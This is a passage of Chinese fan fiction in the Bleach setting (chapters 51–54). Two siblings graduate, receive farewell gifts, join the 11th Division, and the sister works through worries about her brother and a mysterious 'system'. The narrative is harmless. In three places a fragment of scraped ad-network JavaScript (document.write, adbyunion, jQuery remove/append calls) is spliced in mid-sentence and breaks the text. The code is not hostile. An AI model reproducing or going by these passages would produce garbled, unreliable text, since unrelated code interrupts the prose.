若月千纱摇了摇头:“不,和剑八无关。这是我出自本心的选择,只是凑巧和他选择了同一个地方。” 她从拥有意识后就开始战斗、学会战斗、享受战斗,战斗已经成为她的本能,刻入她的骨髓。对她而言,战斗既是日常,也是娱乐,更是习惯。 在学校里和朋友们浅斟慢酌的悠闲生活固然不错,但时间一久,她的骨头便瘙痒难耐,全身上下的血液都咆哮着想要战斗——这也是她在学校里屡次闹事的缘由。 战斗,她想要战斗! 若月千纱正在沸腾的战意被校长一把掐灭。 “十一番队啊……抱歉,我要食言了。我没办法把你们推荐给十一番队的队长。” 若月千纱冻结原地。 “咦——为什么?” “十一番队的队长去别的地方进修了,不在队里,目前由副队长暂代其职。你们要不要再想一想要去哪个番队?” 校长深谙推荐给队长和推荐给副队长之间分量的差别,向他们询问答案。 他们的进身之阶折了一半。 “……无所谓。即便这样,我们的起跑线已经领先别人许多,不能贪心。”若月千纱的眼神遗憾了一瞬,转而变得坚定,“我们要去十一番队。请您把我们推荐给十一番队的副队长吧!” “如你所愿。” 事情尘埃落定。 在毕业典礼后的饯别宴上,柴田木原吐槽道:“前几年浮竹进入十三番队时,是谁一个劲担心他有危险?结果现在,自己却转头去了战斗第一线的十一番队。” “不一样,不一样。我是我,他是他,浮竹前辈身体不好嘛。”若月千纱抿了一口酒,咂了咂嘴,“好酒!” “毕竟是饯别酒,必须用最好的!”柴田木原随手帮她斟满酒,举杯,“到十一番队后,和你们对战的就是虚了。不过,我是不担心你们啦。你们打我都不留情,总不会对那些家伙手软吧。” 佐藤俊川点了点头:“大概就是这样。那里和学校不同,是你死我活的战场。你们下手一定要狠,直接杀掉那些虚!” “我们只拿到了介绍信,能不能加入十一番队还是个未知数,你们对我们倒是有信心。”看到两人脸上‘这还用说’的确信表情,若月千纱笑了,“放心吧,对虚有什么好手软的?那是在净化它们,拯救堕落的灵魂耶!” “我要和它们尽情厮杀!杀光它们!” “喂喂,注意表情,收一收杀气,你们看起来好像才是恶人那一方的。” “有什么关系?对虚来说,我们确实就是恶人嘛。呐呐,柴田,你别忘了把四番队的朋友介绍给我啊。” “放心,我已经和他打过招呼了,你日后可以直接去找他……等等,你不说敬语了?以前一口一个‘您’,我让你改口你都不肯,这会儿倒是很干脆呀?” “别看我这样,我还是非常尊师重道的。之前我们是师生,当然要恭恭敬敬地称呼你,但现在毕业典礼不是已经结束了么,我们现在是不分辈分的朋友啦。” “假如你没在你弟弟暴揍我的时候在一旁欢呼鼓掌,我倒是愿意相信一下这番鬼话。” “情不自禁地为自家弟弟加油,这不是人之常情吗?你要相信,我这六年来还是很敬重你的。” 柴田木原深明大义地点了点头:“我明白,你很敬重我,只是情不自禁了许多次而已。” 若月千纱欣慰地点了点头:“对,就是这样。不愧是我的朋友,懂我!” “……”柴田木原顿了一下,竖起大拇指,“你赢了。” “诶嘿。” 两人又开始日常的贫嘴。佐藤俊川偶尔在一旁应和两声,聊几句话,更木剑八则雷打不动地开始午睡。 饯别宴临近尾声,若月千纱将手一伸:“礼物。” “哟,真是不客气啊。”柴田木原眉毛一挑,“没有。” “真的?” “假的。”佐藤俊川不知何时消失又出现,默默地递给她两个礼物盒,吐槽自家好友,“明明为这份礼物费了很多心思,就不能坦率一点吗?非要逗弄别人一番。多大的人了,成熟一点吧。” “喂喂,佐藤!谁让你动我的东西啊!” “哦哦,原来如此~”若月千纱拖长声音,脸上的表情瞬息万变,先定格为失落,再从失落转变为不爽生闷气,而后露出惊喜的微笑,接下礼物,表情一收,“满足你~谢谢两位,我要拆礼物啦!” 佐藤俊川扑哧一笑:“请便。” 柴田木原被她的表情逗乐了:“拆吧拆吧。” 若月千纱拆开两个礼物盒,愣住了。 第一个礼物盒里放着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一对一模一样的黑色皮革项圈,第二个礼物盒里则放着一些尸魂界通用货币“环”。 第一个礼物让人摸不清头脑,第二个礼物送得太实在了吧! 柴田木原指了指第一个礼物:“喏,这东西我送的。它们没有别的用处,只不过能在远距离范围内感应到另一个项圈的位置。你们一个是超级大路痴,一个又过度保护弟弟,这玩意儿应该挺适合你们的。” 佐藤俊川不好意思地笑了笑:“我想了想,觉得比起其他礼物,你们可能更需要这个……直接送钱,会不会不太好?” 两份礼物一个满足了他们的精神需求,一个解决了他们的物质问题,都送到她的心坎上去了。 若月千纱感动得无以复加:“哇!哇!哇!你们真是太棒了!我超喜欢的!” 她反手各塞给两人一样东西:“我穷得叮当响,没什么东西送给你们,只准备了这个,希望你们不要嫌弃。” 柴田木原和佐藤俊川没想到能收到礼物,都愣住了:“这是……?” “离别礼物。你们照顾了我们这么多年,我很感谢你们呀。不过,我只准备得起这份简陋的礼物了。” 别看她总是和柴田木原互怼,又和佐藤俊川深交不来,但她比谁都清楚,这两个人私底下有多照顾她。她和更木剑八这几年闯了不少祸,大半都是由他们俩摆平的。嗯,还有六年份的酒钱。 两人看了下若月千纱的礼物,果然称得上简陋——那是一块质朴的木牌,磨去了木刺,刻着简单的花纹。木牌正面刻着“许愿牌”三个大字,反面写着“你的愿望,由我实现——若月千纱”。 若月千纱拍了拍胸膛:“这是我的承诺。日后如果你们遇到麻烦事,尽管找我帮忙。只要我能帮上忙,义不容辞!啊,这块木牌本身不重要,你们丢了也无所谓。” “要是真动用上这块木牌,岂不是说明我混得很惨。”柴田木原抛了抛手上的木牌,大咧咧地把它装进袖口,“嘛,不过既然是送别礼物,我就勉强收下了。” 佐藤俊川一本正经地表示感谢:“谢谢,我会好好保管它的。” “我也希望你们没有用到它们的机会,让它们一直躺在角落里吃灰。”若月千纱朝他们鞠躬,“总之,这些年多谢了。日后有空,我会回来找你们喝酒哦~” “到时候别又偷翻围墙啊!你真的会被当成入侵者抓起来的!” “别翻我的黑历史啊!我以后才不会做那种事了!” “也别操纵鬼道在天上留字叫人,太醒目了。” “啊,佐藤你也来笑话我!都说我不会再犯了啊!” “哈哈哈哈哈——” “剑八,起来了起来了,我们该离开学校啦!和他们道个别吧。” “再见。” “更木,去十一番队大闹一场吧!” “哦!” “祝你们此行顺利!” “对了,记住我刚才说的话,十一番队的队长是个狠角色,日后你们千万不要惹怒她——” 柴田木原和佐藤俊川挥着手,目送他们离开。 他们远远地看到若月千纱把一个项圈交给更木剑八,说了几句话,更木剑八点了点头,拿过项圈往自己脖子上一扣,若月千纱则把另一个项圈扣在自己脖子上,一起消失在真央灵术院门口。 “啊,真的得再找几个酒友了。我可不想回到从前,只能孤零零地和你一起喝酒。” “希望能顺利吧。毕竟这十多年来,也只遇到两个合心意的酒友。” “哎,又不是和谁一起喝酒都觉得开心啊!……他们一定能在十一番队大展身手吧。” “这种话应该在刚才说。” “啰嗦!” 52.第五十二章 若月千纱和更木剑八离开真央灵术院后,一路按校长给他们的地图走,来到十一番队的大门口。 她敲开了门,递上校长的推荐信,见到了十一番队的副队长。 副队长盘腿坐在榻榻米上,当着他们的面亲手撕掉未拆封的推荐信:“我们队里没那么多规矩,不管你们是谁推荐进来的都没差。想进十一番队只有一条路——能打。只要你们实力够强,我这个位置都能让给你们。如果实力不够,就给我滚!” “那个……”若月千纱小心翼翼地指了指地上的推荐信,叹了口气,“您应该看一看里面的信的。有些话不能说得太绝对,会出大问题的!” 副队长把胸膛拍得砰砰作响:“队长制定的队规就是绝对的,强者为尊!这也是我的信条!” “我们来战斗吧!”更木剑八身上爆发出强烈的战意,用手指着副队长,勾了勾手指,“来吧!” 看着一个小娃娃不自量力地向副队长发起挑战,在一旁凑热闹的十一番队队员们仿佛看见一只小奶猫向大雄狮亮爪,不由得发出一阵爆笑。 “小鬼,你看着年纪小,又被校长推荐给我,肯定是个天才。但天才也需要时间成长变强,你挑错对手了。在这间屋子里,我是最强的!我欣赏你的战意和勇气,给你一次换对手的机会。你从他们中间挑选出一个对手,只要能赢,我就允许你加入十一番队。如果你失败了,就立刻滚出大门!” 副队长念在更木剑八年幼,特意指向屋里一些没有席位的普通队员。 “我只想和强者战斗!”更木剑八的食指锁定副队长,“如果你是他们中的最强者,我的对手就是你!” “好狂的口气!” “初生牛犊不怕虎,这小子够胆量!” “小鬼,好样的,我欣赏你!输了也不要紧,我帮你向副队长求情,让你再战一回!” 副队长起身:“小鬼,路是你自己选的。我不会手下留情,注意自己的小命!跟我到训练场去!” “好!来拼命厮杀吧!” 若月千纱捂住脸:“唉,为什么不肯听劝啊……真的会出大问题的……算了,我不管了。” 众人转换了场地。 这个时间点被校长推荐给十一番队,他必然是真央灵术院的毕业生,暂用的浅打已被学校回收,没有归属于自己的斩魄刀。 “我不会占武器的便宜。”副队长叫他的队员拿来一把浅打,抛给更木剑八,“这是你的武器,接住!” 更木剑八抬手接住浅打,抽出刀刃。 刀刃出鞘,没有变形。 围观的十一番队队员们惊掉一地下巴。 被校长推荐过来的小天才就这种程度?就这? 副队长看穿了他们的心思,喝道:“你们这些家伙,别小看人!这小鬼能被校长推荐过来,一定有过人之处!” 嚯!副队长看着是个四肢发达的愚笨糙汉,却意外的粗中有细嘛! 若月千纱在心中为他鼓掌。 两人交换姓名后,战斗开始。 副队长没有轻敌。奈何,他的对手是近些年来成长速度极快、实力并不逊色于他的更木剑八。 势均力敌的战斗持续了一段时间后,局势一步步向一方倾倒。不多时,副队长倒下了。 “……我输了。” 副队长输了? 副队长输了。 副队长输了! 被眼前出乎意料的战斗惊成无数石雕的十一番队队员们解除石化,全场一片哗然,场面沸反盈天。 在所有人乱成一锅粥的当下,副队长又往火上浇了一把油:“我输了。按照队规,从今以后,你,不,您就是十一番队的副队长了!” 若月千纱再次捂住了脸。 哈、哈、哈,她弟弟超能干,还未入队就成功谋权篡位,一步登天,成为十一番队目前的一把手了! ……十一番队要完。 更木剑八除了打架,没一样擅长的哟!什么队规、队务之类的,他都一窍不通,也没耐心去记、去管。让他带领队伍……嗯,她是不是应该考虑换个番队? ——啊,校长的推荐信已经彻底完蛋了,她没有别的选择。 在一片混乱中,若月千纱发出入队请求。在新的副队长的面前,她轻轻松松赢过一名普通队员,摇身一变,成为十一番队的一员。 从一文不名的真央灵术院结业生,到十一番队的副队长和正式队员,他们只用了不到一日时间。 十一番队的副队长就这样悄无声息地完成了权力的转移,中途没有任何人跳出来反对。 第二天。 若月千纱和更木剑八换上赶制好的死霸装,腰间别上了他们前几日刚交还给学校的浅打,看起来有模有样,和其他死神没有两样。 现第三席·原副队长紧跟在更木剑八身边:“副队长,您该处理队务了。” 更木剑八看了眼若月千纱:“我只想砍虚,其他事务继续由你负责,别来烦我。” 若月千纱点了点头。 没错,就是这样。作为副队长,你不用接手队内杂务,只要做到知人善任就行,把棘手的事情全部丢出去。这样,十一番队就能像从前那般正常运作,还能多出一个超强战力,而你也能尽情战斗,彼此互惠互利。 更木剑八不是个称职的副队长。所幸,十一番队里实力至上,谁强谁说了算,下面的人听话得很,不会反驳半分。 “是,副队长!” 若月千纱嘴角一扬。 她喜欢十一番队简单纯粹的氛围。 在那之后,他们出动执行过几次十一番队的灭虚任务。 更木剑八一马当先冲向众多虚,挥舞着没有变形的浅打,发自内心地快乐笑着,净化了一个又一个虚。 他那一往无前的身姿、战斗时的嗜血笑容和所向披靡的实力被同队队友们津津乐道。他们惊叹于他那永远不会倒下的幼小身躯,折服于他的慑人魂魄的气势,崇拜于他横扫一切的强大实力。 更木剑八成为十一番队受人爱戴的副队长。 而若月千纱,则成为十一番队里备受照顾的新人。 十一番队的死神大多都是直肠子,没多少花花心思。他们照顾她,不是因为她是副队长的姐姐,也不是因为她漂亮,而是因为她在战场上的表现有目共睹,她的实力得到了队友们的认可,而且,她还特别能喝酒。 她在灭虚任务中享受战斗的乐趣,闲时在队舍里和队友们一起切磋、饮酒,工作和生活都过得十分滋润。她在十一番队里混得如鱼得水,很快便在队里站稳了脚跟,险些乐不思蜀,忘记身上的不定时炸弹。 不过,也只是险些而已。她又没有眼瞎,就算再怎么对系统视而不见,也不可能真的把蓝紫色蝴蝶从她的视野中彻底抹除掉。 “智障系统,我要过河拆桥了。希望今日能和你永别。” 若月千纱屈指弹了下身侧虚幻的蓝紫色透明蝴蝶,看了眼在塌上睡得四仰八叉的更木剑八,摸了摸脖子上的黑色项圈,微微一笑,推开了门。 见她打算独自出门,院子里的几个队员觉得稀罕极了。 “哟,若月,你要一个人出门吗?真难得。” “嗯,剑八还在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 午睡,我自己出去逛逛。” “副队长在午睡?难怪没和你一起。你现在放心把副队长一个人留在队舍里啦?” “有什么不放心的?这里是十一番队,他也不是一个人,你们不是都在么。” “哦呀,你不打算一直守着副队长啦?想当初你刚进队那会儿,只要副队长不在面前,你就担心得坐立不安,战斗时也不敢离他太远,生怕他在你看不见的地方出什么事情似的。” “要我说,她就是瞎操心。副队长强得很,能出什么事情?” “副队长是凶猛的鹰隼,不是柔弱的雏鹰。你把他当鸟宝宝照看了那么久,终于看清这个事实,打算放开护着他的羽翼,放他自由飞翔了吗?” “你们别这样,若月是副队长的姐姐啊,护崽一些有什么不对?……噗,护崽……副队长……崽……噗……不好意思,我实在没办法把副队长和‘崽’这个字联系在一起……噗……” “去去去,你们这些没做过长辈的,哪里懂得若月的心情?副队长再厉害,在若月心里也永远是个崽崽啊!她能学会逐渐放手,我们要恭喜……噗哈,唔……恭喜她……” “哈哈哈哈哈,恭喜恭喜——” 若月千纱被队友们围着打趣,恶狠狠地磨了磨牙齿。 这些家伙怎么和柴田木原一个德行,都把她当成舍不得幼鸟离巢的鸟妈妈?她才不是他们口中的那种人呢! 她之所以那么担心剑八,纯粹是由于他是个撒手没的超级大路痴。不照看他一点,他分分钟会成为失踪人口。现在有了柴田木原送的礼物,不再怕他走丢,她这不是就没有紧盯着他了吗? ……什么,你说礼物在她进队之前就有了?那时候她不是还不太会使用项圈嘛! “你们这些混蛋!给我等着,回来后我要找你们‘切磋’一番!” “来就来,怕你不成?” “哎呀,你怎么脸红了?不小心被我们说中了吧?” “来啊,喝酒赢不过你,打架还赢不过你吗?” “阿拉阿拉,你们别闹,若月现在不是学着放手了么,别这么笑话她……噗咳……” “一群混蛋!晚上我要把你们全部灌倒,让你们都喊我姐姐!” “嘭!” 若月千纱绷着脸用力甩上门,把混蛋队友们的笑闹声关在门内。 但一转头,她却情不自禁地笑了出来。 她喜欢十一番队愉快自在的气氛。 所以,她要解决掉身上最大的问题,努力提升自己的实力,把那些混蛋一个个按在地板上摩擦,让他们感受一下美好的队友情! ——然后,更开心地留在这个她喜欢的地方。 “柴田介绍的朋友一定很厉害,希望真的能把这个智障系统剥离出来。” 这些年来,她的运气一直很好。她交到了几个朋友,提高了软实力和硬实力,顺顺利利地从学校结业,加入了心仪的番队,有了群不错的队友。她的运势一直在稳步上升,让她对剥离系统的事情多生出了几分期待。 于是乎,她给柴田木原在四番队的朋友写了信件,并约在今日相见。 他的朋友性子干脆,甫一见面,便省去客套话,替她彻底检查了一番。 就在此刻,一路上扬的运势突然遭遇滑铁卢,直线下滑,坠入谷底。 高高捧起的希望重重地摔在地上。 “你的身体非常健康,魂魄的状态也很稳定,没有任何异常。你说你身体内有异物,要么是你的错觉,要么是我才疏学浅,要么……嗯……你在察觉到异样之前,是否曾不小心伤到过脑袋?” 53.第五十三章 柴田木原的朋友说得颇为含蓄,可若月千纱哪里听不出他的意思? 她给出的说法不详不尽,他据此推断出有且仅有三种可能性。 第一种,她过于疑神疑鬼,其实自身一切正常。 第二种,他的能力不足,诊断不出她的病症。 第三种,她脑子受损,且病症不轻,以致于产生幻觉。 哦,其实还有第四种可能性,但他认为她没必要花费大量时间和精力设一场损人不利己的骗局,已事先排除在外。 心怀错觉、医师不行和脑子有病,她的情况归属于哪一种? 这还用问?当然是第二种! 确实,她没有失忆前的记忆,不能排除脑袋受伤神经受损的可能性,但系统绝非她的幻觉!她阶梯式飞跃的实力能够证明这一事实。 既然系统并非她的幻觉,那么,它更不可能是她的错觉。 她必须找到更好的医师。 若月千纱藏起翻涌的情绪,脸上带笑,强调道:“我的脑袋没有受过伤呢。您是柴田老师推荐的人,能力绝对值得信任,兴许是我多心了吧。多谢您拨冗一见,我总算可以安心了。” 柴田木原的朋友的确不是个草包,在治疗领域颇有研究。听完她的话后,他不仅没有自谦,脸上还流露出些许自傲之色:“只论治疗之术,我能在队里排名前五。所以,尽管放心吧,异物感只是你的错觉。” 他告诉若月千纱去除疑心病的一些方法,把她送出大门。 若月千纱笑着和他挥手道别,一转头,脸上肌肉一松,面沉似水。 四番队治疗水平排名前五的死神都无法察觉到系统的存在吗?她都要怀疑系统是自己虚构出的存在了呢。 ——毕竟,系统只有她能看见,又摸不着,也无法干涉现实。 走这么一趟,非但没有任何助益,还撼动了她对系统的看法。 “不行不行,这么想的话,我岂不是真成神经病了?系统绝对不是我的幻觉!我的实力是最好的证明!”若月千纱拨浪鼓式拼命摇晃脑袋,把要不得的想法甩出大脑,“说不定只是他实力不足呢?排名前五,说明至少还有四个人比他厉害!我还有验证的机会!不能放弃治疗!” 他毕竟是柴田木原的朋友,若月千纱不好当面下他的脸,让他介绍更厉害的人为她诊断。可以说,这一条线算是断了。 不过,死神生命漫长,她一定会有机会接触到四番队更厉害的死神的。 “不要心急,十一番队战斗在第一线,剑八又是副队长,我和他们的缘分就在眼前!” 若月千纱揉了揉僵硬的脸,去酒铺买了几坛烈酒。 何以解忧?唯有喝酒! “弟弟们!姐姐我灌趴你们来了!” 若月千纱说到做到,当夜在酒桌称霸,逼着手下败将轮流喊了声“姐姐”。 可惜,在次日的对练中,她被少数手下败将找回了场子。 她不是只满足于在酒桌上称霸的人。 那日过后,她把剥离系统的念头团吧团吧塞回心里,日日磨砺自己的实力,精益求精,力求将100%的实力发挥出200%的效果。 幸好,用于实验的小白鼠要多少有多少。在无数虚前仆后继的伟大献身下,她摸索到在系统的限制下提升实力的办法,一点一点、艰难地进步着。 然而,她在进步,别人也在进步。 不知过去多少年时间,若月千纱终于赢过第二十席,坐上了二十席的宝座。 “恭喜恭喜!你现在总算有席位了!” “啧,你是在讽刺我吧?”若月千纱不开心地撇了撇嘴,“花了那么长时间才爬上末席,哪里值得恭喜了?论四大基本技能,有哪个低级席官能比得上我?可我就是打不过他们!我的鬼道都有中级水平了!” 在发现系统真身不明后,若月千纱不再主动完成任务,一切顺其自然,但系统的任务在不知不觉中又成功了一个,把她的鬼道提升到中阶。 值得一提的是,回道是鬼道的特殊分支,其水平不计入鬼道等级之内。换言之,她只是在破道和缚道上有中级的实力,至于回道……嗯,说一窍不通有些言过其实,但也相去不远。 “讽刺什么啊,除了你,你们番队的初级席官谁没有始解能力?我们死神的实力一大半都靠斩魄刀,用基础技能弥补上始解能力的缺口,你以为很容易做到吗?这都不满意,小心走夜路时被原二十席套麻袋啊!” “切,他才不会那么做呢!那是个铁骨铮铮的男子汉,输了就是输了,不屑做出这等下三滥的行径!” “哦呀,居然这么护着队友,真是少见,看来你在十一番队混得确实不错。换做以前,你只护着你弟弟,才不管别人呢。对了,说到你弟弟,他最近怎么样?他有一段时间没过来了呢。” “剑八?他很好,实力越来越强,前两天刚砍死了一只瓦史托德。全队上下被他彻底征服啦,对他言听计从。说真的,如果队长再不回来,以后得沦为傀儡队长啦。”若月千纱仰头饮下杯中酒,在树枝上晃了晃悬空的双腿,笑了起来,“现在他再和你打,那叫虐菜,一击必杀!” “拿我举什么例子!谁想再和他战斗?每次见面,那家伙都非要追着我打,我脸上写着‘木人桩’三个字吗?啊?他在学生时期找我打了多少次架啊!” “哎呀,那是剑八亲近你的表现,他和你玩闹呢。这说明他非常认可你!” “可恶,谁要这种认可啊!就不能坐下来好好叙旧吗?非要动手!上次打断了我的几根骨头,害我的耳朵又被医师念叨出了茧子!” “我想要。”若月千纱停下一前一后交叉摇晃的双腿,垂下头,“我想要。剑八他……已经很久没和我切磋了。” “……你是受虐狂吗?当他的对手有什么好的?很痛的好不好?” “我的实力太差,已经没有资格做他的陪练对手了。我很羡慕你啊。” “说自己实力太差,羡慕我什么的,全是借口吧。你们在学校那会儿,他已经不怎么找你切磋了。那会儿也没见你失落,只会在一旁看我挨揍,幸灾乐祸得很。” “……你太记仇了吧?那都是多少年前的事情,你从毕业那天一直念叨到现在。” “别扯开话题。说吧,发生什么事了?” “没发生任何事情,只是,今天大概喝太多酒了,脑子有点乱吧。刚才那些家伙说要为我庆祝,拼命给我灌酒。哼哼,还不是被我灌倒了,全都躺在桌子下面。” “我说你的脸怎么红得跟猴子屁股似的。喝了那么多酒,难为你还找得到路来找我喝第二轮。有什么烦心事尽管说吧,以前我们不都是这样做的么?不过,别指望我会像京乐那样安慰你。” “你一点都没变呢。”若月千纱抬起脸笑了笑,歪着脑袋想了半晌,“其实也不算什么烦心事。我只是觉得,剑八他呀,已经完全不需要我了呢。自从加入十一番队,衣食住行早已不成问题。现在,有杀不完的虚等着他砍,三席随侍 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在他身边,也不用担心他会迷路。我在不在他身边,好像没什么差别。” “……原来如此,你觉得他不像从前那么依赖你,觉得自己被抛弃了啊。哎,这么多年过去了,你还没摆脱鸟妈妈心态啊?那小子都多大了,还是副队长……别瞪我,我又没说错什么。话说,你一直戴着我送的项圈呢。既然他都不需要你在一旁盯着,为什么不摘下来?” “……” “你没摘,说明那小子也戴着它吧。我送的礼物有用吗?这些年有靠着它找到丢失的小鬼吗?” “……并没有。他身边有那么多人在,怎么可能走丢。” “没有用却一直戴着吗?真不知道你在惆怅寂寞个什么劲。我送的项圈可做不到刀枪不入,会把没用且碍事的东西一直扣在脖子上,这么多年都没弄坏,那小子显然很看重你啊。啊,难不成你以为他重视的是我吗?” “……诶?” “诶什么诶,你以为脖子上戴个项圈很舒服吗?那小子明明不喜欢被束缚,却心甘情愿一直戴着它啊。我不知道你为什么会产生那种奇怪的想法,但你和他一起来找我的时候,我没觉得你们的关系和以前有什么不同,是你自己想太多了吧。” “啊?” “啊什么啊,简单来说,你就是在瞎烦恼。好了,你的烦心事到此结束!现在轮我。我和你说,现在的学生真是一届不如一届,想找个合心意的酒友好难!佐藤那家伙又不肯天天陪我喝酒……” 若月千纱眨了眨眼睛,又眨了眨眼睛,突然笑了起来。 “柴田,谢谢你。有你这个朋友在,真好。” “阿拉,居然说这种话,真不像你,你绝对喝醉啰。我劝你别喝了,要是真醉到走不动路,我可不会扛你回十一番队。你的外貌和性格不同,看上去好歹是个美人。我不想被巡街的死神盯上,被安上心怀不轨的罪名……诶,你要走了么?” 若月千纱从树枝上轻轻一跃,落到地上,仰头朝坐在树枝上的柴田木原挥了挥手:“你的烦心事我帮不上忙,不过,我有空就会过来找你喝酒。剩下的酒都归你啦,我要回去了,下次见!” “去吧去吧,见着你弟弟,帮我问一声好。让他有点儿良心,下次别再追着我砍了!” “知道啦!” “对了,刚才听你提起你们队队长,口吻有些不对啊。你没忘记我以前警告过你们的话吧?别小看那个女人,更别去招惹她,她可是公认的尸魂界史上空前绝后的大恶人!更木他……喂喂喂,你溜得太快了吧!啊,真是的,再怎么急着回去找弟弟,也该听人把话说完啊!” 若月千纱醉醺醺的脑袋里哪里装得下别的东西?从真央灵术院墙边的树上跃下后,她便施展出瞬步,用最快的速度赶回十一番队。 大量酒精荼毒了她的神经,对她施加了身体控制debuff。在回去的路上,她好几次差点撞上行人或墙壁。幸好身体本能尚在,让她险而又险地躲开了障碍物。 她风风火火地冲进十一番队队舍找了一通,在副队长办公室找到了更木剑八。 更木剑八正以不羁的坐姿坐在办公室的办公椅上,在他身前的办公桌上摆放着两叠文件。不过,他并没有在处理文件,而是在神游天外。 书桌侧边,是奋笔疾书的三席。 没错,自更木剑八入队以来,他被抓了壮丁,至今没有摆脱不在其位、却谋其政的免费打工人命运! 听到门口动静,更木剑八回过神来,看向若月千纱。 54.第五十四章 若月千纱的眼中只有更木剑八,径直向他冲去。 醉酒后一通狂奔,非但没有让她醒酒,反倒让有些晕晕沉沉的脑袋变得更晕,思考更加迟钝。 她踉踉跄跄地跑到更木剑八面前,直勾勾地盯着他脖子上的黑色项圈。 在回来之前,她在心中打好了见到更木剑八后该说些什么的腹稿。 然而,混乱的神智把她的计划搅得一团糟。 计划中:她莲步款款地走到更木剑八面前,神色如常地和他聊天,把话题不经意般引向黑色项圈,云淡风轻地抛出问题,询问他为何一直戴着这个没用的玩意儿,以此验证柴田木原的话。 事实上:她如疯牛般闯进办公室,淋漓尽致地展现了醉鬼的姿态,两眼发直地盯着他的喉咙位置,浑浑噩噩的脑袋里一片空白,已然忘记自己的目的,只记得看着黑色项圈。 她看得太久,久到第三席都处理不下文件,紧张地看着她,生怕她突发酒疯对自个儿弟弟下毒手。 “喝太多酒了吧,千纱。”看若月千纱一副烂醉到神志不清的模样,更木剑八扭过头向第三席下达命令,“去拿一碗醒酒汤过来……呃!” 这一动可不得了,若月千纱活像捕食的青蛙,见到目标动起来,右手迅速抓向他的脖子,扯住黑色项圈,狠狠地往自己面前一拉。 更木剑八对若月千纱不设防,被她这么用力一扯,一脑袋撞向她的下巴。 他的脑袋比铁还硬,脑袋上还长着如尖刺一般的头发。这结结实实的一撞,差点把若月千纱的下巴撞骨折了。 “唔!”她痛得一激灵,两眼不由得飙出泪花。 然而,就算下巴疼到快要裂开,牙齿间满溢着熟悉的铁锈腥味,她也没有放开攥紧的手。 在剧烈疼痛下,她找回一丝神智,舔了舔口腔里的血,大着舌头问道:“现八,介个项圈对里没用,里为啥米一直戴着它?” 更木剑八站稳身体,瞥了想要从若月千纱手里解救自己的第三席一眼,伸手摸了下脖子上的累赘,老老实实答道:“不是你叫我戴的吗?你也戴着啊。” 无需更多语言,这两句简简单单的话足以证明柴田木原的说法。它们如同一道阳光,照进了若月千纱心中阴暗的角落。 醉酒的脑袋无法思考,但她却莫名觉得心中一松,常年压在她心上的一块巨石瞬间风化,崩裂分解成无数小碎石。这些小碎石将日渐消弭,只消一段时间,便能从她心上彻底消失。 若月千纱的心中涌现出一股强烈的安全感,绽开了笑颜。 下一秒,困意一下子涌上心头,她的眼皮沉沉地往下坠,全身一阵乏力,向前一头栽倒。 她隐约看到更木剑八伸出双手,之后记忆便断了片。 若月千纱在自己的房间醒来时,已是大半夜。 “疼,疼疼疼疼——”她捂着脑袋从床上坐起,龇牙咧嘴,“喝多了喝多了,宿醉的感觉真难受——我平常都控制着不过量,昨天怎么就喝高了……啊。” 她记起来了。 白天时发生的一切。 “柴田,你是对的。我啊,一直自诩人间清醒,事实上还是被自卑感蒙蔽了双眼。在心底深处,我大概一直担心被剑八抛弃吧。毕竟,我早已不是他眼中的强者,不再值得他关注。不过,看样子是我多心了,剑八对我的感情一直没变。真叫人高兴啊。” 她笑开了花。 就在这时,她的脑海中突然掠过一个念头,让她产生了一股冲动。 她迫不及待地从床上爬起来,眼角瞟过床头,身体顿了一下。 在她的床头的柜子上,搁着一碗早已失去热气的醒酒汤。 她不由得笑了起来:“笨蛋,醒酒汤不是这时候喝的啦。过了那么长时间,酒早就醒了。不过也好,我正有些口渴呢。” 她捞起汤碗,咕咚咕咚几下,把醒酒汤喝了个干干净净。 冰冷的汤水下肚,却让她的心暖了起来。 她一擦嘴,走出自己的房间。 此刻正是深夜,万籁寂静,十一番队的队员们都在睡梦中,更木剑八也不例外。 若月千纱站在更木剑八房间外,听着从没有一丝光亮的房间里传出的阵阵鼾声,改变了主意。 她走向院子,跃上最高的那棵树木,坐在高处纤细柔韧的树枝上,背靠树干,仰头望月。 今晚天气正好,月色正明。 她沐浴着皎洁的月辉,看着不掺一丝杂色的月亮,抽疼的大脑一点点恢复平静,纷杂的心思逐渐沉淀下来。 她看了一整夜的月亮,理清了自己的心。 月亮落下,太阳升起。 当更木剑八进入院子时,若月千纱手一撑,从树上跳了下来。 她轻盈地落在更木剑八面前,笑嘻嘻地打了声招呼:“早啊,剑八。你起得太晚啦,今早的朝阳很美呢。” “早。”更木剑八应了声,抬头看了看太阳,“那种东西有什么好看的。” “嘛嘛嘛,不要这样说嘛,朝阳真的很美丽。你呀,太不关注生活中的美好事物啦。生活不只有战斗和酒,还有诗和远方。你要懂得享受生活啊!” “听不懂。” “唔,也是,其实我自己也不太懂。只不过,我觉得我们可以适当改变一下对生活的态度。首先——” 若月千纱抓住脖子上的黑色项圈,双手往相反方向使力。 在她脖子上安安分分待了数年的黑色项圈不堪其力,被她硬生生扯成两段。 “诶?你在做什么?” 更木剑八歪了歪脑袋,对她的行为倍感疑惑。 她把手上的东西一丢,如法炮制,扯断了更木剑八脖子上的黑色项圈。 “——还你自由。抱歉啊,剑八,之前我一直以关心你的名义,不自觉束缚着你。这种东西对你来说毫无用处,不该让它继续妨碍你。现在,你自由啦!” 看着更木剑八空空荡荡的脖子,若月千纱心里划过一丝失落,转瞬又感觉如释重负,一身轻松。 更木剑八疑惑不解:“啊?还我自由?什么意思?” 他没觉得自己不自由啊。而且,黑色项圈的些微重量对他而言和羽毛差不多,能妨碍他什么? 不对,或许正好相反。脖子上可以忽略不计的重量骤然消失后,他反倒觉得有些不适应。 他摸着不再硌手的光溜溜的脖子,心中漫上一种奇怪的感觉。 “噗哈哈——这是什么啊哈哈哈——” 若月千纱用手指着更木剑八的脖子,笑得前仰后合。 黑色项圈在他脖子上戴得太久,挡住了部分阳光,导致太阳照射不均匀,肤色分层。如今,黑色项圈已离身,却在他的脖子上留下一圈颜色略浅的圆环状痕迹,看起来有趣得很。 那是她的束缚留下的烙印啊。 若月千纱笑着笑着,脸上的笑容便不见了。她伸出手,指尖轻轻地触碰着自己的锁骨。 